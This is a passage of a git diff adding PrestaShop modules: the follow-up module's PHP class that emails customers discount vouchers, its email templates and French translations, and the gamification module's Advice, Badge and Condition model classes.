$conf['PS_FOLLOW_UP_DAYS_1'], '{voucher_num}' => $voucher->code); + $result = Mail::Send((int)$email['id_lang'], 'followup_1', Mail::l('Your cart and your discount', (int)$email['id_lang']), $templateVars, $email['email'], $email['firstname'].' '.$email['lastname'], NULL, NULL, NULL, NULL, dirname(__FILE__).'/mails/'); + $this->logEmail(1, (int)($voucher->id), (int)($email['id_customer']), (int)($email['id_cart'])); + } + } + } + + private function getLogsEmail($emailType) + { + static $idList = array( + '1' => array(), + '2' => array(), + '3' => array(), + '4' => array(), + ); + static $executed = false; + + if(!$executed) + { + $query = ' + SELECT id_cart, id_customer, id_email_type FROM '._DB_PREFIX_.'log_email + WHERE id_email_type <> 4 OR date_add >= DATE_SUB(date_add,INTERVAL '.(int)(Configuration::get('PS_FOLLOW_UP_DAYS_THRESHOLD_4')).' DAY)'; + $results = Db::getInstance()->executeS($query); + foreach ($results as $line) + { + switch ($line['id_email_type']) + { + case 1: + $idList['1'][] = $line['id_cart']; + break; + case 2: + $idList['2'][] = $line['id_cart']; + break; + case 3: + $idList['3'][] = $line['id_customer']; + break; + case 4: + $idList['4'][] = $line['id_customer']; + break; + } + } + $executed = true; + } + return $idList[$emailType]; + } + + /* For all validated orders, a discount if re-ordering before x days */ + private function reOrder($count = false) + { + $emailLogs = $this->getLogsEmail(2); + $sql = ' + SELECT o.id_order, c.id_cart, o.id_lang, cu.id_customer, cu.firstname, cu.lastname, cu.email + FROM '._DB_PREFIX_.'orders o + LEFT JOIN '._DB_PREFIX_.'customer cu ON (cu.id_customer = o.id_customer) + LEFT JOIN '._DB_PREFIX_.'cart c ON (c.id_cart = o.id_cart) + WHERE o.valid = 1 AND c.date_add >= DATE_SUB(CURDATE(),INTERVAL 7 DAY) AND o.id_cart'; + + if(!empty($emailLogs)) + $sql .= ' NOT IN ('.join(',', $emailLogs).')'; + + $emails = Db::getInstance()->executeS($sql); + + if ($count OR !sizeof($emails)) + return sizeof($emails); + + $conf = Configuration::getMultiple(array('PS_FOLLOW_UP_AMOUNT_2', 'PS_FOLLOW_UP_DAYS_2')); + foreach ($emails AS $email) + { + $voucher = $this->createDiscount(2, (float)($conf['PS_FOLLOW_UP_AMOUNT_2']), (int)($email['id_customer']), strftime('%Y-%m-%d', strtotime('+'.(int)($conf['PS_FOLLOW_UP_DAYS_2']).' day')), $this->l('Thank you for your order.')); + if ($voucher !== false) + { + $templateVars = array('{email}' => $email['email'], '{lastname}' => $email['lastname'], '{firstname}' => $email['firstname'], '{amount}' => $conf['PS_FOLLOW_UP_AMOUNT_2'], '{days}' => $conf['PS_FOLLOW_UP_DAYS_2'], '{voucher_num}' => $voucher->code); + $result = Mail::Send((int)$email['id_lang'], 'followup_2', Mail::l('Thanks for your order', (int)$email['id_lang']), $templateVars, $email['email'], $email['firstname'].' '.$email['lastname'], NULL, NULL, NULL, NULL, dirname(__FILE__).'/mails/'); + $this->logEmail(2, (int)($voucher->id), (int)($email['id_customer']), (int)($email['id_cart'])); + } + } + } + + /* For all customers with more than x euros in 90 days */ + private function bestCustomer($count = false) + { + $emailLogs = $this->getLogsEmail(3); + + $sql = ' + SELECT SUM(o.total_paid) total, c.id_cart, o.id_lang, cu.id_customer, cu.firstname, cu.lastname, cu.email + FROM '._DB_PREFIX_.'orders o + LEFT JOIN '._DB_PREFIX_.'customer cu ON (cu.id_customer = o.id_customer) + LEFT JOIN '._DB_PREFIX_.'cart c ON (c.id_cart = o.id_cart) + WHERE o.valid = 1 AND DATE_SUB(CURDATE(),INTERVAL 90 DAY) <= o.date_add AND cu.id_customer'; + + if(!empty($emailLogs)) + $sql .= ' NOT IN ('.join(',', $emailLogs).')'; + + $sql .= ' + GROUP BY o.id_customer + HAVING total >= '.(float)(Configuration::get('PS_FOLLOW_UP_THRESHOLD_3')); + + $emails = Db::getInstance()->executeS($sql); + + if ($count OR !sizeof($emails)) + return sizeof($emails); + + $conf = Configuration::getMultiple(array('PS_FOLLOW_UP_AMOUNT_3', 'PS_FOLLOW_UP_DAYS_3')); + foreach ($emails AS $email) + { + $voucher = $this->createDiscount(3, (float)($conf['PS_FOLLOW_UP_AMOUNT_3']), (int)($email['id_customer']), strftime('%Y-%m-%d', strtotime('+'.(int)($conf['PS_FOLLOW_UP_DAYS_3']).' day')), $this->l('You are one of our best customers!')); + if ($voucher !== false) + { + $templateVars = array('{email}' => $email['email'], '{lastname}' => $email['lastname'], '{firstname}' => $email['firstname'], '{amount}' => $conf['PS_FOLLOW_UP_AMOUNT_3'], '{days}' => $conf['PS_FOLLOW_UP_DAYS_3'], '{voucher_num}' => $voucher->code); + $result = Mail::Send((int)$email['id_lang'], 'followup_3', Mail::l('You are one of our best customers', (int)$email['id_lang']), $templateVars, $email['email'], $email['firstname'].' '.$email['lastname'], NULL, NULL, NULL, NULL, dirname(__FILE__).'/mails/'); + $this->logEmail(3, (int)($voucher->id), (int)($email['id_customer']), (int)($email['id_cart'])); + } + } + } + + /* For all customers with no orders since more than x days */ + + /** + * badCustomer send mails to all customers with no orders since more than x days, + * with at least one valid order in history + * + * @param boolean $count if set to true, will return number of customer (default : false, will send mails, no return value) + * @return void + */ + private function badCustomer($count = false) + { + $emailLogs = $this->getLogsEmail(4); + $sql = ' + SELECT o.id_lang, c.id_cart, cu.id_customer, cu.firstname, cu.lastname, cu.email, (SELECT COUNT(o.id_order) FROM '._DB_PREFIX_.'orders o WHERE o.id_customer = cu.id_customer and o.valid = 1) nb_orders + FROM '._DB_PREFIX_.'customer cu + LEFT JOIN '._DB_PREFIX_.'orders o ON (o.id_customer = cu.id_customer) + LEFT JOIN '._DB_PREFIX_.'cart c ON (c.id_cart = o.id_cart) + WHERE cu.id_customer NOT IN + (SELECT o.id_customer FROM '._DB_PREFIX_.'orders o WHERE DATE_SUB(CURDATE(),INTERVAL '.(int)(Configuration::get('PS_FOLLOW_UP_DAYS_THRESHOLD_4')).' DAY) <= o.date_add)'; + + if(!empty($emailLogs)) + $sql .= 'AND cu.id_customer NOT IN ('.join(',', $emailLogs).')'; + + $sql .= 'GROUP BY cu.id_customer HAVING nb_orders >= 1'; + + $emails = Db::getInstance()->executeS($sql); + + if ($count OR !sizeof($emails)) + return sizeof($emails); + + $conf = Configuration::getMultiple(array('PS_FOLLOW_UP_AMOUNT_4', 'PS_FOLLOW_UP_DAYS_4')); + foreach ($emails AS $email) + { + $voucher = $this->createDiscount(4, (float)($conf['PS_FOLLOW_UP_AMOUNT_4']), (int)($email['id_customer']), strftime('%Y-%m-%d', strtotime('+'.(int)($conf['PS_FOLLOW_UP_DAYS_4']).' day')), $this->l('We miss you!')); + if ($voucher !== false) + { + $templateVars = array('{email}' => $email['email'], '{lastname}' => $email['lastname'], '{firstname}' => $email['firstname'], '{amount}' => $conf['PS_FOLLOW_UP_AMOUNT_4'], '{days}' => $conf['PS_FOLLOW_UP_DAYS_4'], '{days_threshold}' => (int)(Configuration::get('PS_FOLLOW_UP_DAYS_THRESHOLD_4')), '{voucher_num}' => $voucher->code); + $result = Mail::Send((int)$email['id_lang'], 'followup_4', Mail::l('We miss you', (int)$email['id_lang']), $templateVars, $email['email'], $email['firstname'].' '.$email['lastname'], NULL, NULL, NULL, NULL, dirname(__FILE__).'/mails/'); + $this->logEmail(4, (int)($voucher->id), (int)($email['id_customer']), (int)($email['id_cart'])); + } + } + } + + private function createDiscount($id_email_type, $amount, $id_customer, $dateValidity, $description) + { + $cartRule = new CartRule(); + $cartRule->reduction_percent = (float)$amount; + $cartRule->id_customer = (int)$id_customer; + $cartRule->date_to = $dateValidity; + $cartRule->date_from = date('Y-m-d H:i:s'); + $cartRule->quantity = 1; + $cartRule->quantity_per_user = 1; + $cartRule->cart_rule_restriction = 1; + $cartRule->minimum_amount = 0; + + $languages = Language::getLanguages(true); + foreach ($languages AS $language) + $cartRule->name[(int)$language['id_lang']] = $description; + + $code = 'FLW-'.(int)($id_email_type).'-'.strtoupper(Tools::passwdGen(10)); + $cartRule->code = $code; + $cartRule->active = 1; + if (!$cartRule->add()) + return false; + return $cartRule; + } + + public function cronTask() + { + Context::getContext()->link = new Link(); //when this is call by cron context is not init + $conf = Configuration::getMultiple(array('PS_FOLLOW_UP_ENABLE_1', 'PS_FOLLOW_UP_ENABLE_2', 'PS_FOLLOW_UP_ENABLE_3', 'PS_FOLLOW_UP_ENABLE_4', 'PS_FOLLOW_UP_CLEAN_DB')); + + if ($conf['PS_FOLLOW_UP_ENABLE_1']) + $this->cancelledCart(); + if ($conf['PS_FOLLOW_UP_ENABLE_2']) + $this->reOrder(); + if ($conf['PS_FOLLOW_UP_ENABLE_3']) + $this->bestCustomer(); + if ($conf['PS_FOLLOW_UP_ENABLE_4']) + $this->badCustomer(); + + /* Clean-up database by deleting all outdated discounts */ + if ($conf['PS_FOLLOW_UP_CLEAN_DB'] == 1) + { + $outdatedDiscounts = Db::getInstance()->executeS('SELECT id_cart_rule FROM '._DB_PREFIX_.'cart_rule WHERE date_to < NOW() AND code LIKE "FLW-%"'); + foreach ($outdatedDiscounts AS $outdatedDiscount) + { + $cartRule = new CartRule((int)$outdatedDiscount['id_cart_rule']); + if (Validate::isLoadedObject($cartRule)) + $cartRule->delete(); + } + } + } +} + diff --git a/modules/followup/index.php b/modules/followup/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/followup/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/followup/logo-2.gif b/modules/followup/logo-2.gif new file mode 100755 index 0000000..9102f3a Binary files /dev/null and b/modules/followup/logo-2.gif differ diff --git a/modules/followup/logo.gif b/modules/followup/logo.gif new file mode 100755 index 0000000..2194c59 Binary files /dev/null and b/modules/followup/logo.gif differ diff --git a/modules/followup/logo.png b/modules/followup/logo.png new file mode 100755 index 0000000..402af39 Binary files /dev/null and b/modules/followup/logo.png differ diff --git a/modules/followup/mails/en/followup_1.html b/modules/followup/mails/en/followup_1.html new file mode 100755 index 0000000..e136138 --- /dev/null +++ b/modules/followup/mails/en/followup_1.html @@ -0,0 +1,46 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
          {shop_name}
           
          Hi {firstname} {lastname},
           
          Your cart at {shop_name}
           
          We noticed that during your last visit on {shop_name}, you did not complete the order you had started.

          Your cart has been saved, you can resume your order by visiting our shop:

          {shop_url}

          As an incentive, we can give you a discount of {amount}% off your next order! This offer is valid for {days} days, so do not waste a moment!
           
          Here is your coupon: {voucher_num}

          Enter this code in your shopping cart to get your discount.
           
          {shop_name} powered with PrestaShop™
          + + \ No newline at end of file diff --git a/modules/followup/mails/en/followup_1.txt b/modules/followup/mails/en/followup_1.txt new file mode 100755 index 0000000..89edf2b --- /dev/null +++ b/modules/followup/mails/en/followup_1.txt @@ -0,0 +1,13 @@ +Hello {firstname} {lastname}, + +We noticed that during your last visit on {shop_name}, you did not complete the order you had started. + +Your cart has been saved, you can resume your order by visiting our shop: + +{shop_url} + +As an incentive, we can give you a discount of {amount}% off your next order! This offer is valid for {days} days, so do not waste a moment! + +Here is your coupon: {voucher_num} + +Enter this code in your shopping cart to get your discount. \ No newline at end of file diff --git a/modules/followup/mails/en/followup_2.html b/modules/followup/mails/en/followup_2.html new file mode 100755 index 0000000..00c234d --- /dev/null +++ b/modules/followup/mails/en/followup_2.html @@ -0,0 +1,46 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
          {shop_name}
           
          Hi {firstname} {lastname},
           
          Thank you for your order at {shop_name}
           
          As our way of saying thanks, we want to give you a discount of {amount}% off your next order! This offer is valid for {days} days, so do not waste a moment!

           
          Here is your coupon: {voucher_num}

          Enter this code in your shopping cart to get your discount.
           
          {shop_name} powered with PrestaShop™
          + + \ No newline at end of file diff --git a/modules/followup/mails/en/followup_2.txt b/modules/followup/mails/en/followup_2.txt new file mode 100755 index 0000000..7a10fff --- /dev/null +++ b/modules/followup/mails/en/followup_2.txt @@ -0,0 +1,9 @@ +Hello {firstname} {lastname}, + +Thank you for your order at {shop_name} + +As our way of saying thanks, we want to give you a discount of {amount}% off your next order! This offer is valid for {days} days, so do not waste a moment! + +Here is your coupon: {voucher_num} + +Enter this code in your shopping cart to get your discount. \ No newline at end of file diff --git a/modules/followup/mails/en/followup_3.html b/modules/followup/mails/en/followup_3.html new file mode 100755 index 0000000..5f56ad2 --- /dev/null +++ b/modules/followup/mails/en/followup_3.html @@ -0,0 +1,46 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
          {shop_name}
           
          Hi {firstname} {lastname},
           
          Thanks for your trust
           
          You are one of our best customers and as such we want to thank you for your continued patronage.

          As appreciation for your loyalty, we want to give you a discount of {amount}% valid on your next order! This offer is valid for {days} days, so do not waste a moment!
           
          Here is your coupon: {voucher_num}

          Enter this code in your shopping cart to get your discount.
           
          {shop_name} powered with PrestaShop™
          + + \ No newline at end of file diff --git a/modules/followup/mails/en/followup_3.txt b/modules/followup/mails/en/followup_3.txt new file mode 100755 index 0000000..b41d917 --- /dev/null +++ b/modules/followup/mails/en/followup_3.txt @@ -0,0 +1,9 @@ +Hello {firstname} {lastname}, + +You are one of our best customers and as such we want to thank you for your continued patronage. + +As appreciation for your loyalty, we want to give you a discount of {amount}% valid on your next order! This offer is valid for {days} days, so do not waste a moment! + +Here is your coupon: {voucher_num} + +Enter this code in your shopping cart to get your discount. \ No newline at end of file diff --git a/modules/followup/mails/en/followup_4.html b/modules/followup/mails/en/followup_4.html new file mode 100755 index 0000000..ca3c66d --- /dev/null +++ b/modules/followup/mails/en/followup_4.html @@ -0,0 +1,46 @@ + + + + + Message from {shop_name} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
          {shop_name}
           
          Hi {firstname} {lastname},
           
          Your cart at {shop_name}
           
          You are one of our best customers, however you have not placed an order in {days_threshold} days.

          We wish to thank you for the trust you have placed in us and want to give you a discount of {amount}% valid on your next order! This offer is valid for {days} days, so do not waste a moment!
           
          Here is your coupon: {voucher_num}

          Enter this code in your shopping cart to get your discount.
           
          {shop_name} powered with PrestaShop™
          + + \ No newline at end of file diff --git a/modules/followup/mails/en/followup_4.txt b/modules/followup/mails/en/followup_4.txt new file mode 100755 index 0000000..7aa2c4b --- /dev/null +++ b/modules/followup/mails/en/followup_4.txt @@ -0,0 +1,11 @@ +We miss you at {shop_name} + +Hello {firstname} {lastname}, + +You are one of our best customers, however you have not placed an order in {days_threshold} days. + +We wish to thank you for the trust you have placed in us and want to give you a discount of {amount}% valid on your next order! This offer is valid for {days} days, so do not waste a moment! + +Here is your coupon: {voucher_num} + +Enter this code in your shopping cart to get your discount. \ No newline at end of file diff --git a/modules/followup/mails/en/index.php b/modules/followup/mails/en/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/followup/mails/en/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/followup/translations/en.php b/modules/followup/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/modules/followup/translations/fr.php b/modules/followup/translations/fr.php new file mode 100755 index 0000000..8788a00 --- /dev/null +++ b/modules/followup/translations/fr.php @@ -0,0 +1,44 @@ +followup_9c34e90380dac7b56fdd19192a99d531'] = 'Relancez vos clients'; +$_MODULE['<{followup}prestashop>followup_57476355fcd04050bff196ae9aa4673c'] = 'Relancez vos clients grâce à des envoi d\'e-mails quotidiens'; +$_MODULE['<{followup}prestashop>followup_f71a41841c80c2ef0ec02a6ad5449c65'] = 'Etes-vous sûr de vouloir supprimer vos paramètres ainsi que vos statistiques liées aux relances ?'; +$_MODULE['<{followup}prestashop>followup_f4f70727dc34561dfde1a3c529b6205c'] = 'Paramètres'; +$_MODULE['<{followup}prestashop>followup_599fac49ffe947cd0f9e934e6af89879'] = 'Quatre types de relances afin de rester en contact avec vos clients !'; +$_MODULE['<{followup}prestashop>followup_8b1aa589b33a54906ae78f5820eab42c'] = 'Effectuez vos réglages et ajoutez cette URL à votre crontab ou appelez-la manuellement chaque jour :'; +$_MODULE['<{followup}prestashop>followup_b547c073d144a57761d1d00d0b9d9f27'] = 'Paniers annulés'; +$_MODULE['<{followup}prestashop>followup_ea9dc62a0ddf4640f019f04a22ab9835'] = 'Pour chaque panier abandonné (sans commande), génère un bon d\'achat et l\'envoi au client'; +$_MODULE['<{followup}prestashop>followup_2faec1f9f8cc7f8f40d521c4dd574f49'] = 'Activé'; +$_MODULE['<{followup}prestashop>followup_b30690be173bcd4a83df0cd68f89a385'] = 'Montant de la remise'; +$_MODULE['<{followup}prestashop>followup_2018945d252b94aeb99b0909f288717c'] = 'Durée de validité'; +$_MODULE['<{followup}prestashop>followup_225e75c29d32392d311f5dc94c792384'] = 'jour(s)'; +$_MODULE['<{followup}prestashop>followup_dcc0220e44b6d9be3d709d5c2cd34917'] = 'Le prochain envoi transmettra : %d e-mails'; +$_MODULE['<{followup}prestashop>followup_3ae92a92fa710dca82e5b6667da30b7b'] = 'Le prochain envoi transmettra : %d e-mail'; +$_MODULE['<{followup}prestashop>followup_a8b8dbd070a92fb8b17baab71d8d633f'] = 'Re-commander'; +$_MODULE['<{followup}prestashop>followup_895858cf10b8a1750a42875cb9c69092'] = 'Pour chaque commande validée, génère un bon d\'achat et l\'envoi au client'; +$_MODULE['<{followup}prestashop>followup_8b83489bd116cb60e2f348e9c63cd7f6'] = 'Meilleurs clients'; +$_MODULE['<{followup}prestashop>followup_a46ad892f7f00e051cc90050ff2e1ddf'] = 'Pour chaque client dont le total des commandes atteind un certain seuil, génère un bon d\'achat et l\'envoi au client'; +$_MODULE['<{followup}prestashop>followup_2a63f555989152ba866b43a1faacd680'] = 'Seuil'; +$_MODULE['<{followup}prestashop>followup_7d75b7b0f976b3091f490864c6ffbf97'] = 'Mauvais clients'; +$_MODULE['<{followup}prestashop>followup_e552313de5ebebdafa8bfa0dcc703e19'] = 'Pour chaque client ayant déjà passé commande au moins une fois et sans commande depuis une certaine durée, génère un bon d\'achat et l\'envoi au client'; +$_MODULE['<{followup}prestashop>followup_d82843c16839bfb05827d1912d89c917'] = 'Depuis x jours'; +$_MODULE['<{followup}prestashop>followup_3fb7b0bbf0c95bba3ed2ba0b147ca588'] = 'Supprimer les bons d\'achat dont la date d\'expiration est dépassée afin de nettoyer la base de données'; +$_MODULE['<{followup}prestashop>followup_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{followup}prestashop>followup_c33e404a441c6ba9648f88af3c68a1ca'] = 'Statistiques'; +$_MODULE['<{followup}prestashop>followup_1deaabda093f617a57f732c07e635fac'] = 'Statistiques détaillées sur les 30 derniers jours :'; +$_MODULE['<{followup}prestashop>followup_f23b0eec6c25c49afa4b29c57e671728'] = 'E = Nombre d\'e-mails envoyés'; +$_MODULE['<{followup}prestashop>followup_fde0b9a66bffdd6ee0886613e8031d9a'] = 'U = Nombre de bons d\'achat utilisés (commandes valides uniquement)'; +$_MODULE['<{followup}prestashop>followup_cceb59e78d00c10436ff5e777dd5d895'] = '% = Taux de transformation'; +$_MODULE['<{followup}prestashop>followup_44749712dbec183e983dcd78a7736c41'] = 'Date'; +$_MODULE['<{followup}prestashop>followup_5e53dfa887dfb989f0bc3e9fb9b34a2d'] = 'Meilleurs clients'; +$_MODULE['<{followup}prestashop>followup_66ff4e89c767ab0a4e5ddc0251a101bc'] = 'Mauvais clients'; +$_MODULE['<{followup}prestashop>followup_5dbc98dcc983a70728bd082d1a47546e'] = 'E'; +$_MODULE['<{followup}prestashop>followup_4c614360da93c0a041b22e537de151eb'] = 'U'; +$_MODULE['<{followup}prestashop>followup_85b6769250887ba6c16099596c75164d'] = 'Aucune donnée enregistrée pour l\'instant'; +$_MODULE['<{followup}prestashop>followup_edf9feeab43a7623f6afc152d1ede515'] = 'Bon de réduction pour votre panier abandonné'; +$_MODULE['<{followup}prestashop>followup_a053fc9952a7dfc79282eba56ab8ad3a'] = 'Merci pour votre commande'; +$_MODULE['<{followup}prestashop>followup_7fcd592dd47028c7c1f2d0ce9168a303'] = 'Vous êtes l\'un de nos meilleurs clients'; +$_MODULE['<{followup}prestashop>followup_c2ab23672d4bb31c7664bf8e854a10f7'] = 'Vous nous manquez'; diff --git a/modules/followup/translations/index.php b/modules/followup/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/followup/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/gamification/classes/Advice.php b/modules/gamification/classes/Advice.php new file mode 100755 index 0000000..970682c --- /dev/null +++ b/modules/gamification/classes/Advice.php @@ -0,0 +1,119 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class Advice extends ObjectModel +{ + public $id; + + public $id_ps_advice; + + public $id_tab; + + public $validated; + + public $selector; + + public $location; + + public $html; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'advice', + 'primary' => 'id_advice', + 'multilang' => true, + 'fields' => array( + 'id_ps_advice' => array('type' => self::TYPE_INT, 'validate' => 'isInt'), + 'id_tab' => array('type' => self::TYPE_INT, 'validate' => 'isInt'), + 'selector' => array('type' => self::TYPE_STRING), + 'location' => array('type' => self::TYPE_STRING), + 'validated' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + + // Lang fields + 'html' => array('type' => self::TYPE_HTML, 'lang' => true, 'required' => true, 'validate' => 'isString'), + ), + ); + + public static function getIdByIdPs($id_ps_advice) + { + $query = new DbQuery(); + $query->select('id_advice'); + $query->from('advice', 'b'); + $query->where('`id_ps_advice` = '.(int)$id_ps_advice); + + return (int)Db::getInstance()->getValue($query); + } + + public static function getValidatedByIdTab($id_tab) + { + $advices = new Collection('advice', Context::getContext()->language->id); + $advices->where('validated', '=' , 1); + $advices->where('id_tab', '=' , (int)$id_tab); + return $advices; + } + + public static function getIdsAdviceToValidate() + { + $ids = array(); + $query = new DbQuery(); + $query->select('a.`id_advice`'); + $query->from('advice', 'a'); + $query->join(' + LEFT JOIN `'._DB_PREFIX_.'condition_advice` ca ON ca.`id_advice` = a.`id_advice` AND ca.`display` = 1 + LEFT JOIN `'._DB_PREFIX_.'condition` c ON c.`id_condition` = ca.`id_condition` AND c.`validated` = 1'); + $query->where('a.validated = 0'); + $query->groupBy('a.`id_advice`'); + $query->having('count(*) = SUM(c.validated)'); + + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query); + + foreach($result as $advice) + $ids[] = $advice['id_advice']; + return $ids; + } + + public static function getIdsAdviceToUnvalidate() + { + $ids = array(); + $query = new DbQuery(); + $query->select('a.`id_advice`'); + $query->from('advice', 'a'); + $query->join(' + LEFT JOIN `'._DB_PREFIX_.'condition_advice` ca ON ca.`id_advice` = a.`id_advice` AND ca.`display` = 0 + LEFT JOIN `'._DB_PREFIX_.'condition` c ON c.`id_condition` = ca.`id_condition` AND c.`validated` = 1'); + $query->where('a.validated = 1'); + $query->groupBy('a.`id_advice`'); + $query->having('count(*) = SUM(c.validated)'); + + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query); + + foreach($result as $advice) + $ids[] = $advice['id_advice']; + return $ids; + } +} diff --git a/modules/gamification/classes/Badge.php b/modules/gamification/classes/Badge.php new file mode 100755 index 0000000..dba975f --- /dev/null +++ b/modules/gamification/classes/Badge.php @@ -0,0 +1,117 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class Badge extends ObjectModel +{ + public $id; + + public $id_ps_badge; + + public $type; + + public $id_group; + + public $group_position; + + public $group_name; + + public $scoring; + + public $validated; + + public $name; + + public $description; + + const BAGDE_IMG_URL = 'http://gamification.prestashop.com/api/getBadgeImg'; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'badge', + 'primary' => 'id_badge', + 'multilang' => true, + 'fields' => array( + 'id_ps_badge' => array('type' => self::TYPE_INT, 'validate' => 'isInt'), + 'type' => array('type' => self::TYPE_STRING, 'validate' => 'isString', 'size' => 32), + 'id_group' => array('type' => self::TYPE_STRING, 'validate' => 'isString', 'size' => 32), + 'group_position' => array('type' => self::TYPE_INT, 'validate' => 'isInt'), + 'scoring' => array('type' => self::TYPE_INT, 'validate' => 'isInt'), + 'validated' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + + // Lang fields + 'name' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'required' => true, 'size' => 64), + 'description' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'size' => 255), + 'group_name' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml', 'size' => 255), + ), + ); + + public function getBadgeImgUrl() + { + return self::BAGDE_IMG_URL.'/'.(int)$this->id_ps_badge.'/'.(int)$this->validated.'.png'; + } + + public static function getIdByIdPs($id_ps_badge) + { + $query = new DbQuery(); + $query->select('id_badge'); + $query->from('badge', 'b'); + $query->where('`id_ps_badge` = '.(int)$id_ps_badge); + + return (int)Db::getInstance()->getValue($query); + } + + public static function getIdsBadgesToValidate() + { + $ids = array(); + $query = new DbQuery(); + $query->select('b.`id_badge`'); + $query->from('badge', 'b'); + $query->join(' + LEFT JOIN `'._DB_PREFIX_.'condition_badge` cb ON cb.`id_badge` = b.`id_badge` + LEFT JOIN `'._DB_PREFIX_.'condition` c ON c.`id_condition` = cb.`id_condition` AND c.`validated` = 1'); + $query->where('b.validated = 0'); + $query->groupBy('b.`id_badge`'); + $query->having('count(*) = SUM(c.validated)'); + + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query); + + foreach($result as $badge) + $ids[] = $badge['id_badge']; + return $ids; + } + + public function getNextBadgeId() + { + $query = new DbQuery(); + $query->select('b.`id_badge`'); + $query->from('badge', 'b'); + $query->where('b.id_group = \''.pSQL($this->id_group).'\' AND b.validated = 0'); + $query->orderBy('b.group_position'); + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query); + } +} diff --git a/modules/gamification/classes/Condition.php b/modules/gamification/classes/Condition.php new file mode 100755 index 0000000..cd3d308 --- /dev/null +++ b/modules/gamification/classes/Condition.php @@ -0,0 +1,239 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class Condition extends ObjectModel +{ + public $id; + + public $id_ps_condition; + + public $type; + + public $request; + + public $operator; + + public $value; + + public $result; + + public $calculation_type; + + public $calculation_detail; + + public $validated; + + public $date_add; + + public $date_upd; + + public static $unauthorized = array('DELETE', 'DROP'); + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'condition', + 'primary' => 'id_condition', + 'fields' => array( + 'id_ps_condition' => array('type' => self::TYPE_INT, 'validate' => 'isInt'), + 'type' => array('type' => self::TYPE_STRING, 'size' => 32), + 'request' => array('type' => self::TYPE_STRING), + 'operator' => array('type' => self::TYPE_STRING), + 'value' => array('type' => self::TYPE_STRING), + 'result' => array('type' => self::TYPE_STRING), + 'calculation_type' => array('type' => self::TYPE_STRING), + 'calculation_detail' => array('type' => self::TYPE_STRING), + 'validated' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDateFormat'), + 'date_upd' => array('type' => self::TYPE_DATE, 'validate' => 'isDateFormat'), + ), + ); + + public static function getIdByIdPs($id_ps_condition) + { + $query = new DbQuery(); + $query->select('id_condition'); + $query->from('condition', 'c'); + $query->where('`id_ps_condition` = '.(int)$id_ps_condition); + + return (int)Db::getInstance()->getValue($query); + } + + public static function getIdsByHookCalculation($hook_name) + { + $ids = array(); + + $sub_query = new DbQuery(); + $sub_query->select('id_badge'); + $sub_query->from('badge', 'b'); + $sub_query->where('b.`validated` = 0'); + $sub_query->groupBy('b.`id_group`'); + + $query = new DbQuery(); + $query->select('c.`id_condition`'); + $query->from('condition', 'c'); + $query->join('LEFT JOIN `'._DB_PREFIX_.'condition_badge` cb ON cb.`id_condition` = c.`id_condition`'); + $query->where('c.`calculation_type` = 